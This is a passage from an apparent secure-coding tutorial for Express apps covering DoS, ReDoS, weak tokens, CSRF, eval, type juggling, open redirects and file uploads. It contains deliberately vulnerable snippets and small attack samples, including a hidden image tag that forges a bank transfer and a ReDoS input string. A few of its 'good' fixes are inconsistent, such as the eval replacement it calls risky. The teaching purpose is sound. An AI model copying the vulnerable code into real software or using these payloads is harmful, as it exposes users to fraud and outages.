<p><strong>Denial-of-Service (DoS)</strong> attacks aim to overwhelm a server with a high volume of requests, consuming its resources like bandwidth, CPU, and memory, which makes the server unavailable to legitimate users. This can be particularly damaging to public APIs or services, leading to a degraded user experience due to downtime and potentially causing significant financial losses, such as disrupted services and lost revenue. Unlike standard DoS attacks that originate from a single source, Distributed Denial-of-Service (DDoS) attacks involve multiple systems, making them even harder to mitigate and more destructive. For example, an e-commerce website facing a DoS attack during peak shopping seasons might experience outages, resulting in lost sales and a tarnished reputation.</p>
<h3 id="heading-how-it-affects-your-system-3">How It Affects Your System</h3>
<p>DoS attacks can severely impact the performance and availability of your application. They may cause your server to slow down, making it difficult for legitimate users to access your services, or even render your application completely unresponsive. The increased load can exhaust server resources like memory, CPU, and network bandwidth, leading to system crashes or forced restarts. This kind of disruption can result in lost revenue, especially if your application is critical to business operations. Additionally, prolonged unavailability can damage your brand’s reputation, erode customer trust, and incur costs for mitigation and recovery.</p>
<h3 id="heading-a-example-scenario-missing-payload-size-limitation-vulnerable-to-large-payload-attack">a) Example Scenario: Missing Payload Size Limitation (Vulnerable to Large Payload Attack)</h3>
<p>Consider an endpoint that processes large JSON payloads:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Bad: No size limit on JSON payloads</span>
app.post(<span class="hljs-string">'/data'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> data = req.body;
  <span class="hljs-comment">// Process data without validation</span>
  res.send(<span class="hljs-string">'Data processed'</span>);
});
</code></pre>
<p>An attacker could send an enormous payload, causing the server to run out of memory and crash.</p>
<h3 id="heading-good-code-practice-payload-size-limitation">Good Code Practice: Payload Size Limitation</h3>
<pre><code class="lang-javascript"><span class="hljs-comment">// Good: Limiting payload size</span>
<span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">'express'</span>);
<span class="hljs-keyword">const</span> app = express();

app.use(express.json({ <span class="hljs-attr">limit</span>: <span class="hljs-string">'1mb'</span> })); <span class="hljs-comment">// Limit payload to 1MB</span>

app.post(<span class="hljs-string">'/data'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> data = req.body;
  <span class="hljs-comment">// Process data</span>
  res.send(<span class="hljs-string">'Data processed'</span>);
});
</code></pre>
<h3 id="heading-why-this-works-3">Why This Works</h3>
<p>By setting a size limit for incoming JSON payloads, you prevent attackers from overwhelming your server with large requests.</p>
<h3 id="heading-b-example-scenario-missing-rate-limiting-vulnerable-to-request-flood-attack">b) Example Scenario: Missing Rate Limiting (Vulnerable to Request Flood Attack)</h3>
<p>Another way DoS attacks can occur is when your server is overwhelmed with requests from multiple sources without proper rate limiting. An attacker could flood the endpoint with requests, which may crash the server or significantly slow down its performance.</p>
<h3 id="heading-good-code-practice-adding-rate-limit">Good Code Practice: Adding Rate Limit</h3>
<pre><code class="lang-javascript"><span class="hljs-comment">// Good: Adding rate limit</span>
<span class="hljs-keyword">const</span> rateLimit = <span class="hljs-built_in">require</span>(<span class="hljs-string">'express-rate-limit'</span>);

<span class="hljs-keyword">const</span> limiter = rateLimit({
  <span class="hljs-attr">windowMs</span>: <span class="hljs-number">1</span> * <span class="hljs-number">60</span> * <span class="hljs-number">1000</span>, <span class="hljs-comment">// 1 minute</span>
  <span class="hljs-attr">max</span>: <span class="hljs-number">100</span>, <span class="hljs-comment">// Limit each IP to 100 requests per window</span>
});

app.use(limiter); <span class="hljs-comment">// Apply the rate limiting middleware</span>

app.post(<span class="hljs-string">'/data'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> data = req.body;
  <span class="hljs-comment">// Process data</span>
  res.send(<span class="hljs-string">'Data processed'</span>);
});
</code></pre>
<h3 id="heading-why-this-works-4">Why This Works</h3>
<p>Rate limiting helps mitigate excessive requests from a single source, preserving server resources and maintaining application availability. By implementing this measure, you ensure that legitimate users can access the service without interruption.</p>
<h3 id="heading-c-example-scenario-vulnerable-to-regular-expression-denial-of-service-redos">c) Example Scenario: Vulnerable to Regular Expression Denial of Service (ReDoS)</h3>
<p>A ReDoS attack exploits the fact that certain regular expressions can take an exponential amount of time to evaluate when applied to maliciously crafted input, effectively causing the system to hang or enter a "pause" mode. This is particularly dangerous if the regex is used for input validation in an API that accepts user input.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Bad: Vulnerable regex pattern</span>
<span class="hljs-keyword">const</span> regex = <span class="hljs-regexp">/^(a+)+$/</span>;

app.post(<span class="hljs-string">'/validate'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> { input } = req.body;
  <span class="hljs-keyword">if</span> (regex.test(input)) {
    res.send(<span class="hljs-string">'Valid input'</span>);
  } <span class="hljs-keyword">else</span> {
    res.send(<span class="hljs-string">'Invalid input'</span>);
  }
});
</code></pre>
<p>An attacker could submit a string like <code>"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!"</code>, which can cause the regex engine to backtrack excessively, resulting in high CPU usage and making the server unresponsive.</p>
<h3 id="heading-good-code-practice-using-safe-regular-expressions">Good Code Practice: Using Safe Regular Expressions</h3>
<pre><code class="lang-javascript"><span class="hljs-comment">// Good: Using a safer regex pattern or limiting input length</span>
<span class="hljs-keyword">const</span> safeRegex = <span class="hljs-regexp">/^a{1,100}$/</span>; <span class="hljs-comment">// Limits 'a' repetitions to a safe range</span>

app.post(<span class="hljs-string">'/validate'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> { input } = req.body;

  <span class="hljs-comment">// Alternatively, limit input length before testing with regex</span>
  <span class="hljs-keyword">if</span> (input.length &gt; <span class="hljs-number">100</span>) {
    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">400</span>).send(<span class="hljs-string">'Input too long'</span>);
  }

  <span class="hljs-keyword">if</span> (safeRegex.test(input)) {
    res.send(<span class="hljs-string">'Valid input'</span>);
  } <span class="hljs-keyword">else</span> {
    res.send(<span class="hljs-string">'Invalid input'</span>);
  }
});
</code></pre>
<h3 id="heading-why-this-works-5">Why This Works</h3>
<p>By using safer regex patterns or limiting input length, you can avoid the risk of excessive backtracking that can lead to ReDoS attacks. This keeps the server responsive and protects against unexpected resource exhaustion.</p>
<h1 id="heading-5-improper-authentication-and-authorization">5. Improper Authentication and Authorization</h1>
<p><strong>Improper Authentication and Authorization</strong> occur when an application does not correctly verify the identity of users or their permissions.</p>
<h3 id="heading-how-it-affects-your-system-4">How It Affects Your System</h3>
<p>Weak authentication mechanisms can lead to unauthorized access, allowing malicious users to exploit sensitive areas of your application. This can result in data breaches, unauthorized data manipulation, and overall compromise of user trust.</p>
<h3 id="heading-example-scenario-3">Example Scenario</h3>
<p>Consider a login endpoint:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Bad: Using predictable tokens for authentication</span>
<span class="hljs-keyword">const</span> token = req.headers[<span class="hljs-string">'authorization'</span>];
<span class="hljs-keyword">if</span> (token === <span class="hljs-string">'12345'</span>) {
  <span class="hljs-comment">// Grant access</span>
}
</code></pre>
<p>This approach allows anyone who knows the token to gain access or any attacker who is able to brute-force it. The predictability of the token (<code>'12345'</code>) means that an attacker can easily guess or automate attempts to gain access, leading to serious security vulnerabilities.</p>
<p>Brute-forcing the token is alarmingly simple. Given that the token is a short numeric string, an attacker could employ a basic script to iterate through all possible combinations (e.g., from <code>00000</code> to <code>99999</code>). This would require only a few seconds or minutes, depending on the attacker's hardware and the implementation of any rate-limiting or lockout mechanisms in the application.</p>
<h3 id="heading-good-code-practice-3">Good Code Practice</h3>
<pre><code class="lang-javascript"><span class="hljs-comment">// Good: Using JWT for secure authentication</span>
<span class="hljs-keyword">const</span> jwt = <span class="hljs-built_in">require</span>(<span class="hljs-string">'jsonwebtoken'</span>);
<span class="hljs-built_in">require</span>(<span class="hljs-string">'dotenv'</span>).config();

<span class="hljs-comment">// Load secret key from environment variable</span>
<span class="hljs-keyword">const</span> secretKey = process.env.SECRET_KEY; 

<span class="hljs-comment">// Middleware to verify JWT token</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">verifyToken</span>(<span class="hljs-params">req, res, next</span>) </span>{
  <span class="hljs-keyword">const</span> token = req.headers[<span class="hljs-string">'authorization'</span>];
  <span class="hljs-keyword">if</span> (!token) <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">403</span>).send(<span class="hljs-string">'Forbidden'</span>);

  jwt.verify(token, secretKey, <span class="hljs-function">(<span class="hljs-params">err, decoded</span>) =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">403</span>).send(<span class="hljs-string">'Invalid token'</span>);
    req.user = decoded; <span class="hljs-comment">// Attach user info to request</span>
    next();
  });
}

<span class="hljs-comment">// Protected route example </span>
<span class="hljs-comment">// verifyToken will be called as it is one of the middleware now</span>
app.get(<span class="hljs-string">'/protected'</span>, verifyToken, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  res.send(<span class="hljs-string">`Welcome user with ID: <span class="hljs-subst">${req.user.id}</span>`</span>);
});
</code></pre>
<h3 id="heading-why-this-works-6">Why This Works</h3>
<p>Using JSON Web Tokens (JWTs) [<a target="_blank" href="https://www.npmjs.com/package/jsonwebtoken">jsonwebtoken</a>] provides a secure and verifiable method of authenticating users because they encapsulate all necessary user information in a self-contained format. JWTs are signed, ensuring integrity and authenticity, which prevents tampering. They also support expiration times, limiting access duration and reducing security risks. Additionally, JWTs can carry custom claims for flexible role-based access control and are suitable for cross-domain applications. This combination of features enables efficient, stateless authentication while ensuring that only authorized users can access protected resources.</p>
<h1 id="heading-6-cross-site-request-forgery-csrf">6. Cross-Site Request Forgery (CSRF)</h1>
<p><strong>Cross-Site Request Forgery (CSRF)</strong> is an attack that tricks a user into executing unwanted actions on a web application where they are authenticated. The attack relies on the victim’s browser being tricked into sending a request to the web application using the victim’s active session or credentials.</p>
<h3 id="heading-how-it-affects-your-system-5">How It Affects Your System</h3>
<p>CSRF attacks can result in unauthorized actions being performed on behalf of authenticated users. This can include actions like changing account settings, making transactions, or even stealing sensitive information by tricking the user into making requests they never intended to.</p>
<h3 id="heading-example-scenario-4">Example Scenario</h3>
<p>Imagine a banking application where a user can transfer funds by visiting a specific URL:</p>
<pre><code class="lang-xml"><span class="hljs-comment">&lt;!-- User's bank account transfer form --&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">action</span>=<span class="hljs-string">"https://bank.com/transfer"</span> <span class="hljs-attr">method</span>=<span class="hljs-string">"POST"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"hidden"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"amount"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"1000"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"hidden"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"to"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"attacker_account"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"submit"</span>&gt;</span>Transfer<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span>
</code></pre>
<p>An attacker could trick a user into submitting this form by embedding a malicious element on their own website. The attacker’s malicious page could contain the following HTML:</p>
<pre><code class="lang-xml"><span class="hljs-comment">&lt;!-- Malicious page --&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"https://bank.com/transfer?amount=1000&amp;to=attacker_account"</span> <span class="hljs-attr">style</span>=<span class="hljs-string">"display:none"</span>&gt;</span>
</code></pre>
<p>If the victim is logged into their banking application, simply visiting the attacker’s page will trigger this hidden request, resulting in the transfer of funds without the user’s consent. This attack is possible if the banking application incorrectly accepts <strong>GET</strong> requests for state-changing actions, such as transferring funds.</p>
<h3 id="heading-good-code-practice-4">Good Code Practice</h3>
<p>To protect against CSRF attacks, you can implement <strong>anti-CSRF tokens</strong>. This involves adding a token to forms and validating it on the server side:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// In your form rendering logic</span>
<span class="hljs-keyword">const</span> csrfToken = generateCsrfToken(); <span class="hljs-comment">// Generate a CSRF token</span>
res.send(<span class="hljs-string">`
  &lt;form action="/transfer" method="POST"&gt;  
  &lt;!-- Use POST for state changes --&gt;
    &lt;input type="hidden" name="csrf_token" value="<span class="hljs-subst">${csrfToken}</span>"&gt;
    &lt;input type="hidden" name="amount" value="1000"&gt;
    &lt;input type="hidden" name="to" value="attacker_account"&gt;
    &lt;button type="submit"&gt;Transfer&lt;/button&gt;
  &lt;/form&gt;
`</span>);
</code></pre>
<p>On the server side, verify the CSRF token before processing the request:</p>
<pre><code class="lang-javascript">app.post(<span class="hljs-string">'/transfer'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> { csrf_token } = req.body;
  <span class="hljs-keyword">if</span> (!isValidCsrfToken(csrf_token)) {
    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">403</span>).send(<span class="hljs-string">'Invalid CSRF token'</span>);
  }
  <span class="hljs-comment">// Proceed with fund transfer</span>
});
</code></pre>
<h3 id="heading-why-this-works-7">Why This Works</h3>
<p>By requiring a valid CSRF token for state-changing requests, you ensure that only legitimate requests originating from your application can be processed. Additionally, using <strong>POST</strong> instead of <strong>GET</strong> for state changes is crucial, as it prevents attackers from triggering unintended actions through simple image tags or links. Leveraging frameworks with built-in CSRF token protection (using tokens in headers or as POST parameters) further enhances security against CSRF attacks.</p>
<h3 id="heading-additional-mitigation-tips">Additional Mitigation Tips</h3>
<ol>
<li><p><strong>Use POST for State-Changing Requests:</strong> Ensure that any action that modifies data (like transfers or account changes) only accepts <strong>POST</strong> requests. GET requests should be reserved for retrieving data, not for making changes.</p>
</li>
<li><p><strong>Implement SameSite Cookies:</strong> Setting the <code>SameSite</code> attribute on cookies can help to prevent them from being sent with cross-site requests, reducing the risk of CSRF.</p>
</li>
<li><p><strong>Verify the Origin or Referer Headers:</strong> As an additional layer, check the <code>Origin</code> or <code>Referer</code> headers to ensure that the request comes from your domain.</p>
</li>
</ol>
<h1 id="heading-7-using-eval"><strong>7. Using</strong> <code>eval()</code></h1>
<p>The <code>eval()</code> function executes a string of JavaScript code in the context of the current execution environment. If user input is passed to <code>eval()</code> without proper validation, it can lead to serious security vulnerabilities.</p>
<h3 id="heading-how-it-affects-your-system-6">How It Affects Your System</h3>
<p>Using <code>eval()</code> with untrusted data can allow attackers to execute arbitrary code, potentially compromising the entire application.</p>
<h3 id="heading-example-scenario-5">Example Scenario</h3>
<pre><code class="lang-javascript"><span class="hljs-comment">// Bad: Using eval with user input</span>
<span class="hljs-keyword">const</span> userInput = <span class="hljs-string">"2 + 2"</span>; <span class="hljs-comment">// Attacker could input malicious code</span>
<span class="hljs-keyword">const</span> result = <span class="hljs-built_in">eval</span>(userInput); <span class="hljs-comment">// Executes the input as code</span>
<span class="hljs-built_in">console</span>.log(result); <span class="hljs-comment">// This will log 4 if input is safe, but can execute anything else</span>
</code></pre>
<p>If an attacker provides input like <code>alert('Hacked!')</code>, it will execute that code, leading to unwanted behavior.</p>
<h3 id="heading-good-code-practice-5">Good Code Practice</h3>
<p>Instead of using <code>eval()</code>, consider safer alternatives like <code>Function</code> constructor or libraries designed for evaluating mathematical expressions:</p>
<p><strong>NOTE:</strong> Although the Function constructor is sometimes suggested, it is not recommended for production code due to similar risks.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Good: Avoid using eval</span>
<span class="hljs-keyword">const</span> safeEval = <span class="hljs-function">(<span class="hljs-params">input</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (<span class="hljs-regexp">/^[0-9+\-*\/\s()]*$/</span>.test(input)) {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Function</span>(<span class="hljs-string">`return <span class="hljs-subst">${input}</span>`</span>)(); <span class="hljs-comment">// Only allow safe mathematical expressions</span>
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'Unsafe input detected'</span>);
  }
};

<span class="hljs-keyword">const</span> result = safeEval(<span class="hljs-string">"2 + 2"</span>); <span class="hljs-comment">// Safe evaluation</span>
<span class="hljs-built_in">console</span>.log(result); <span class="hljs-comment">// Outputs 4</span>
</code></pre>
<h3 id="heading-why-this-works-8">Why This Works</h3>
<p>Using the Function constructor is still risky and is categorized as <strong>Direct Dynamic Code Evaluation</strong>, which can lead to <strong>eval</strong> Injection attacks if user input is not strictly validated. Although it limits the scope of execution compared to <code>eval()</code>, it can still allow the execution of arbitrary code if misused.</p>
<h1 id="heading-8-loose-comparisons-type-juggling">8. Loose Comparisons (Type Juggling)</h1>
<p>Using <strong>loose equality comparisons</strong> (<code>==</code>) instead of <strong>strict equality</strong> (<code>===</code>) can lead to unexpected behaviour in your application. This is often referred to as <strong>type juggling</strong>, where JavaScript automatically converts one or both operands to a common type before performing the comparison. <strong>Type juggling can be exploited in attacks, leading to security vulnerabilities.</strong></p>
<h3 id="heading-how-it-affects-your-system-7">How It Affects Your System</h3>
<p>Loose comparisons may allow for type coercion, leading to bugs and potential security vulnerabilities if unexpected types are compared.</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">console</span>.log(<span class="hljs-number">0</span> == <span class="hljs-string">'0'</span>);      <span class="hljs-comment">// true</span>
<span class="hljs-built_in">console</span>.log(<span class="hljs-literal">false</span> == <span class="hljs-string">'0'</span>);  <span class="hljs-comment">// true</span>
<span class="hljs-built_in">console</span>.log(<span class="hljs-literal">null</span> == <span class="hljs-literal">undefined</span>); <span class="hljs-comment">// true</span>
</code></pre>
<h3 id="heading-example-scenario-6">Example Scenario</h3>
<pre><code class="lang-javascript"><span class="hljs-comment">// Bad: Loose comparison leading to security flaw</span>
<span class="hljs-keyword">const</span> userRole = <span class="hljs-string">'admin'</span>; <span class="hljs-comment">// This is the role assigned to the user</span>

<span class="hljs-keyword">if</span> (userRole == <span class="hljs-string">'admin'</span>) {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Access granted'</span>); <span class="hljs-comment">// Expected behavior</span>
} <span class="hljs-keyword">else</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Access denied'</span>);
}

<span class="hljs-comment">// Now, a low-privilege user might manipulate their role with unexpected input</span>
<span class="hljs-keyword">const</span> manipulatedRole = <span class="hljs-string">'0'</span>; <span class="hljs-comment">// An unexpected input that can be coerced</span>

<span class="hljs-keyword">if</span> (manipulatedRole == <span class="hljs-literal">false</span>) {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Access granted'</span>); <span class="hljs-comment">// This will incorrectly grant access</span>
} <span class="hljs-keyword">else</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Access denied'</span>);
}
</code></pre>
<p>This can lead to situations where unexpected input is considered valid due to type coercion.</p>
<h3 id="heading-good-code-practice-6">Good Code Practice</h3>
<pre><code class="lang-javascript"><span class="hljs-comment">// Good: Using strict equality to avoid type coercion</span>
<span class="hljs-keyword">const</span> userRole = <span class="hljs-string">'admin'</span>; <span class="hljs-comment">// This is the role assigned to the user</span>

<span class="hljs-keyword">if</span> (userRole === <span class="hljs-string">'admin'</span>) {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Access granted'</span>); <span class="hljs-comment">// Expected behavior</span>
} <span class="hljs-keyword">else</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Access denied'</span>);
}

<span class="hljs-comment">// Even if a user tries to manipulate their role with unexpected input</span>
<span class="hljs-keyword">const</span> manipulatedRole = <span class="hljs-string">'0'</span>; <span class="hljs-comment">// An unexpected input that will not match</span>

<span class="hljs-keyword">if</span> (manipulatedRole === <span class="hljs-literal">false</span>) {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Access granted'</span>); <span class="hljs-comment">// This will NOT grant access</span>
} <span class="hljs-keyword">else</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Access denied'</span>); <span class="hljs-comment">// Correctly denies access</span>
}
</code></pre>
<h3 id="heading-why-this-works-9">Why This Works</h3>
<p>Strict comparisons ensure that both the type and value must match, preventing unexpected type coercion.</p>
<h1 id="heading-9-unvalidated-redirects-and-forwards">9. Unvalidated Redirects and Forwards</h1>
<p>Unvalidated redirects and forwards occur when an application allows users to redirect to external URLs or forward to other internal resources without proper validation. This can lead to security vulnerabilities where attackers can exploit these features to redirect users to malicious sites or perform unwanted actions within the application. This vulnerability is also known as <strong>open redirection</strong>.</p>
<h3 id="heading-how-it-affects-your-system-8">How It Affects Your System</h3>
<p>Unvalidated redirects and forwards can expose your users to various risks, such as phishing and malware attacks. When users are redirected to untrusted or malicious sites, they may unknowingly provide sensitive information to attackers, believing they are interacting with your legitimate application. This can result in identity theft, loss of credentials, and unauthorized access to user accounts. Furthermore, if your application is exploited to facilitate such attacks, it can harm your reputation and user trust, leading to a decline in user engagement and potential legal repercussions.</p>
<p>In addition, internal forwards without validation can allow attackers to access restricted areas within your application or bypass authorization checks. This could lead to data breaches or unauthorized actions within your application, making it crucial to validate redirect and forward requests properly.</p>
<h3 id="heading-example-scenario-7">Example Scenario</h3>
<pre><code class="lang-javascript"><span class="hljs-comment">// Bad: Redirecting without validation</span>
app.get(<span class="hljs-string">'/redirect'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    <span class="hljs-keyword">const</span> redirectUrl = req.query.url; <span class="hljs-comment">// No validation on the URL</span>
    res.redirect(redirectUrl); <span class="hljs-comment">// Redirects to any URL</span>
});
</code></pre>
<p>If a user clicks on a link like <a target="_blank" href="http://yourapp.com/redirect?url=http://malicious-site.com"><code>https://yourapp.com/redirect?url=https://malicious-site.com</code></a>, they will be redirected to a malicious site, potentially exposing them to phishing attacks or malware.</p>
<h3 id="heading-good-code-practice-7">Good Code Practice</h3>
<p>To mitigate this risk, it is essential to validate the redirect URL. Moreover, you should ensure that all allowed URLs use HTTPS to prevent downgrade attacks.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Good: Validating the redirect URL</span>
<span class="hljs-keyword">const</span> allowedUrls = [<span class="hljs-string">'https://trusted.com'</span>];
app.get(<span class="hljs-string">'/redirect'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    <span class="hljs-keyword">const</span> url = req.query.url;
    <span class="hljs-keyword">if</span> (!allowedUrls.includes(url)) {
        <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">400</span>).send(<span class="hljs-string">'Invalid URL'</span>);
    }
    <span class="hljs-comment">// Ensure the URL starts with HTTPS to prevent downgrade attacks</span>
    <span class="hljs-keyword">if</span> (!url.startsWith(<span class="hljs-string">'https://'</span>)) {
        <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">400</span>).send(<span class="hljs-string">'URL must use HTTPS'</span>);
    }
    res.redirect(url);
});
</code></pre>
<h3 id="heading-why-this-works-10">Why This Works</h3>
<p>Validating the redirect URL prevents attackers from redirecting users to malicious sites. By maintaining a whitelist of allowed URLs, you ensure that users can only be redirected to trusted locations, mitigating the risk of phishing and other attacks that exploit unvalidated redirects and forwards.</p>
<h1 id="heading-10-file-upload-exploit">10. File Upload Exploit</h1>
<p>File upload vulnerabilities occur when an application allows users to upload files without proper validation or restrictions. This can lead to malicious files being uploaded and executed on the server, potentially leading to data breaches or server compromise.</p>
<h3 id="heading-how-it-affects-your-system-9">How It Affects Your System</h3>
<p>Attackers can exploit insecure file upload functionality to upload malicious scripts or executables that can be run on the server, gaining unauthorized access or control over the system.</p>
<h3 id="heading-example-scenario-8">Example Scenario</h3>
<p>Consider a web application that allows users to upload profile pictures:</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Bad: Allowing any file type upload</span>
app.post(<span class="hljs-string">'/upload'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    <span class="hljs-keyword">const</span> file = req.files.picture; 
    <span class="hljs-comment">// Assume file is uploaded via a file input</span>
    file.mv(<span class="hljs-string">`./uploads/<span class="hljs-subst">${file.name}</span>`</span>, <span class="hljs-function">(<span class="hljs-params">err</span>) =&gt;</span> {
        <span class="hljs-keyword">if</span> (err) <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">500</span>).send(err);
        res.send(<span class="hljs-string">'File uploaded!'</span>);
    });
});
</code></pre>
<p>In this scenario, an attacker could upload a malicious PHP file (e.g., <code>malicious.php</code>) and execute it by accessing it directly:</p>
<pre><code class="lang-http"><span class="hljs-attribute">http://example.com/uploads/malicious.php</span>
</code></pre>
<h3 id="heading-good-code-practice-8">Good Code Practice</h3>
<p>To mitigate the risks associated with file uploads, implement the following best practices:</p>
<ol>
<li><p><strong>File Type Validation</strong>: Check the file extension and MIME type against a whitelist of allowed types.</p>
</li>
<li><p><strong>Magic Header Bytes Check</strong>: In addition to MIME type validation, verify the file's magic header bytes to ensure it matches the expected format.</p>
</li>
<li><p><strong>Limit File Size</strong>: Set restrictions on the maximum file size to prevent abuse.</p>
</li>
<li><p><strong>Rename Uploaded Files</strong>: Rename files upon upload to avoid execution of malicious code and prevent filename conflicts.</p>
</li>
<li><p><strong>Store Files Outside the Web Root</strong>: Save uploaded files in a directory that is not publicly accessible to prevent direct access.</p>
</li>
</ol>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">'fs'</span>);
<span class="hljs-keyword">const</span> path = <span class="hljs-built_in">require</span>(<span class="hljs-string">'path'</span>);

<span class="hljs-comment">// Good: Validating file type and renaming files</span>
app.post(<span class="hljs-string">'/upload'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    <span class="hljs-keyword">const</span> file = req.files.picture;

    <span class="hljs-comment">// Validate file type</span>
    <span class="hljs-keyword">const</span> validTypes = [<span class="hljs-string">'image/jpeg'</span>, <span class="hljs-string">'image/png'</span>, <span class="hljs-string">'image/gif'</span>];
    <span class="hljs-keyword">if</span> (!validTypes.includes(file.mimetype)) {
        <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">400</span>).send(<span class="hljs-string">'Invalid file type'</span>);
    }

    <span class="hljs-comment">// Magic header bytes check (for example purposes; implement according to your needs)</span>
    <span class="hljs-keyword">const</span> magicBytes = {
        <span class="hljs-string">'image/jpeg'</span>: Buffer.from([<span class="hljs-number">0xff</span>, <span class="hljs-number">0xd8</span>, <span class="hljs-number">0xff</span>]),
        <span class="hljs-string">'image/png'</span>: Buffer.from([<span class="hljs-number">0x89</span>, <span class="hljs-number">0x50</span>, <span class="hljs-number">0x4e</span>, <span class="hljs-number">0x47</span>]),
        <span class="hljs-string">'image/gif'</span>: Buffer.from([<span class="hljs-number">0x47</span>, <span class="hljs-number">0x49</span>, <span class="hljs-number">0x46</span>]),
    };
    <span class="hljs-keyword">const</span> fileBuffer = fs.readFileSync(file.tempFilePath);
    <span class="hljs-keyword">const</span> fileMagic = fileBuffer.slice(<span class="hljs-number">0</span>, magicBytes[file.mimetype].length);
    <span class="hljs-keyword">if</span> (!fileMagic.equals(magicBytes[file.mimetype])) {
        <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">400</span>).send(<span class="hljs-string">'Invalid file content'</span>);
    }

    <span class="hljs-comment">// Limit file size (e.g., max 1MB)</span>
    <span class="hljs-keyword">const</span> maxSize = <span class="hljs-number">1</span> * <span class="hljs-number">1024</span> * <span class="hljs-number">1024</span>; <span class="hljs-comment">// 1MB</span>
    <span class="hljs-keyword">if</span> (file.size &gt; maxSize) {
        <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">400</span>).send(<span class="hljs-string">'File too large'</span>);
    }

    <span class="hljs-comment">// Sanitize the original file name</span>

    <span class="hljs-comment">// Get base name without extension</span>
    <span class="hljs-keyword">const</span> originalFileName = path.basename(file.name, path.extname(file.name));

    <span class="hljs-comment">// Allow only alphanumeric, underscores, and hyphens</span>
    <span class="hljs-keyword">const</span> sanitizedBaseName = originalFileName.replace(<span class="hljs-regexp">/[^a-zA-Z0-9_-]/g</span>, <span class="hljs-string">''</span>);

    <span class="hljs-comment">// Generate a safe filename by combining sanitized base name with a timestamp</span>
    <span class="hljs-keyword">const</span> timestamp = <span class="hljs-built_in">Date</span>.now();
    <span class="hljs-keyword">const</span> safeFileName = <span class="hljs-string">`<span class="hljs-subst">${sanitizedBaseName}</span>_<span class="hljs-subst">${timestamp}</span><span class="hljs-subst">${path.extname(file.name)}</span>`</span>;
    <span class="hljs-keyword">const</span> uploadPath = path.join(__dirname, <span class="hljs-string">'uploads'</span>, safeFileName);
    <span class="hljs-comment">// Restrict to uploads directory</span>

    <span class="hljs-comment">// Move the file to a safe directory</span>
    file.mv(uploadPath, <span class="hljs-function">(<span class="hljs-params">err</span>) =&gt;</span> {
        <span class="hljs-keyword">if</span> (err) <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">500</span>).send(err);
        res.send(<span class="hljs-string">'File uploaded!'</span>);
    });
});
</code></pre>
<h3 id="heading-why-this-works-11">Why This Works</h3>
